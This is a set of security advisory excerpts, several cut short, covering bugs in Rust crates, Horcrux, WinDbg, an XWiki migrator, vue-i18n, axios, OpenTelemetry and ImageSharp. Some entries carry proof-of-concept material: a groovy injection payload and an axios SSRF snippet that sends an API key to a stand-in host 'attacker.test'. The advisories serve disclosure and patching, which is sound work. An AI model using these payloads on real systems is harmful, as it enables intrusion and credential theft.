ghsa

Affected version of this crate did not properly parse unknown fields when parsing a user-supplied input. This allows an attacker to cause a stack overflow when parsing the message on untrusted data.

# **Horcrux Incident Disclosure: Possible Double-Sign** ## **Summary** On March 6, 2025, a Horcrux user (01node) experienced a double-signing incident on the Osmosis network, resulting in a 5% slash penalty (approximately 75,000 OSMO or $20,000 USD). After thorough investigation, we have identified a race condition in Horcrux's signature state handling as the root cause. This vulnerability was introduced in July 2023 as part of PR [\#169](https://github.com/strangelove-ventures/horcrux/pull/169) and affects all Horcrux versions from v3.1.0 through v3.3.1. A fix has been developed and is being deployed immediately. ## **Probability** The bug has an extremely low probability of occurrence, affecting one validator out of hundreds that have been using the affected software versions to validate over the past few years. In the added tests, the probability on typical hardware is in the range of 1 in 1 billion per signed vote due to the root cause needing two independent events to occur wi...

`ring::aead::quic::HeaderProtectionKey::new_mask()` may panic when overflow checking is enabled. In the QUIC protocol, an attacker can induce this panic by sending a specially-crafted packet. Even unintentionally it is likely to occur in 1 out of every 2**32 packets sent and/or received. On 64-bit targets operations using `ring::aead::{AES_128_GCM, AES_256_GCM}` may panic when overflow checking is enabled, when encrypting/decrypting approximately 68,719,476,700 bytes (about 64 gigabytes) of data in a single chunk. Protocols like TLS and SSH are not affected by this because those protocols break large amounts of data into small chunks. Similarly, most applications will not attempt to encrypt/decrypt 64GB of data in one chunk. Overflow checking is not enabled in release mode by default, but `RUSTFLAGS="-C overflow-checks"` or `overflow-checks = true` in the Cargo.toml profile can override this. Overflow checking is usually enabled by default in debug mode.

# Microsoft Security Advisory CVE-2025-24043 | WinDbg Remote Code Execution Vulnerability ## <a name="executive-summary"></a>Executive summary Microsoft is releasing this security advisory to provide information about a vulnerability in [WinDbg](https://aka.ms/windbg/download). This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability. Improper verification of cryptographic signature in SOS allows an authorized attacker to execute code over a network resulting in Remote Code Execution. ## Announcement Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/346 ## <a name="mitigation-factors"></a>Mitigation factors Microsoft has not identified any mitigating factors for this vulnerability. ## <a name="affected-packages"></a>Affected Packages The vulnerability affects any Microsoft .NET Core project if it uses any of affected packages versions listed below ### <a name="">WinDbg</a>...

### Impact The homepage of the application is public which enables a guest to download the package which might contain sensitive information. ### Patches 1.11.7 ### Workarounds The access to the page can be manually restricted to a specific set of users or groups.

### Impact A user that doesn't have programming rights can execute arbitrary code when creating a page using the Migration Page template. A possible attack vector is the following: * Create a page and add the following content: ``` confluencepro.job.question.advanced.input={{/html}} {{async async="true" cached="false" context="doc.reference"}}{{groovy}}println("hello from groovy!"){{/groovy}}{{/async}} ``` * Use the object editor to add an object of type `XWiki.TranslationDocumentClass` with scope `USER`. * Access an unexisting page using the `MigrationTemplate` ``` http://localhost:8080/xwiki/bin/edit/Page123?template=ConfluenceMigratorPro.Code.MigrationTemplate ``` It is expected that `{{/html}} {{async async="true" cached="false" context="doc.reference"}}{{groovy}}println("hello from groovy!"){{/groovy}}{{/async}}` will be present on the page, however, `hello from groovy` will be printed. ### Patches The issue will be fixed as part of v1.2. The fix was added with commit [35cef22](...

**Vulnerability type:** Prototype Pollution **Vulnerability Location(s):** ```js # v9.1 node_modules/@intlify/message-resolver/index.js # v9.2 or later node_modules/@intlify/vue-i18n-core/index.js ``` **Description:** The latest version of `@intlify/message-resolver (9.1)` and `@intlify/vue-i18n-core (9.2 or later)`, (previous versions might also affected), is vulnerable to Prototype Pollution through the entry function(s) `handleFlatJson`. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence. Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context. **PoC:** ...

### Summary A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463 A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠`baseURL` is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. ### Details Consider the following code snippet: ```js import axios from "axios"; const internalAPIClient = axios.create({ baseURL: "http://example.test/api/v1/users/", headers: { "X-API-KEY": "1234567890", }, }); // const userId = "123"; const userId = "http://attacker.test/"; await internalAPIClient.get(userId); // SSRF ``` In this example, the request is sent to `http://attacker.test/` instead of the `baseURL`. As a result, the domain owner of `attacker.test` would receive the `...

### Impact _What kind of vulnerability is it? Who is impacted?_ A vulnerability in `OpenTelemetry.Api` package `1.10.0` to `1.11.1` could cause a [Denial of Service (DoS) when a tracestate and traceparent header is received](https://github.com/open-telemetry/opentelemetry-dotnet/security/advisories/GHSA-8785-wc3w-h8q6). These versions are used in OpenTelemetry .NET Automatic Instrumentation `1.10.0-beta.1` and `1.10.0`. Even if an application does not explicitly use trace context propagation, receiving these headers can still trigger high CPU usage. This issue impacts any application accessible over the web or backend services that process HTTP requests containing a tracestate header. Application may experience excessive resource consumption, leading to increased latency, degraded performance, or downtime. ### Patches _Has the problem been patched? What versions should users upgrade to?_ This issue has been resolved in `OpenTelemetry.Api` `1.11.2` by reverting the change that intro...

### Impact An Out-of-bounds Write vulnerability has been found in the ImageSharp gif decoder, allowing attackers to cause a crash using a specially crafted gif. This can potentially lead to denial of service. ### Patches The problem has been patched. All users are advised to upgrade to v3.1.7 or v2.1.10. ### Workarounds None. ### References https://github.com/SixLabors/ImageSharp/issues/2859 https://github.com/SixLabors/ImageSharp/issues/2890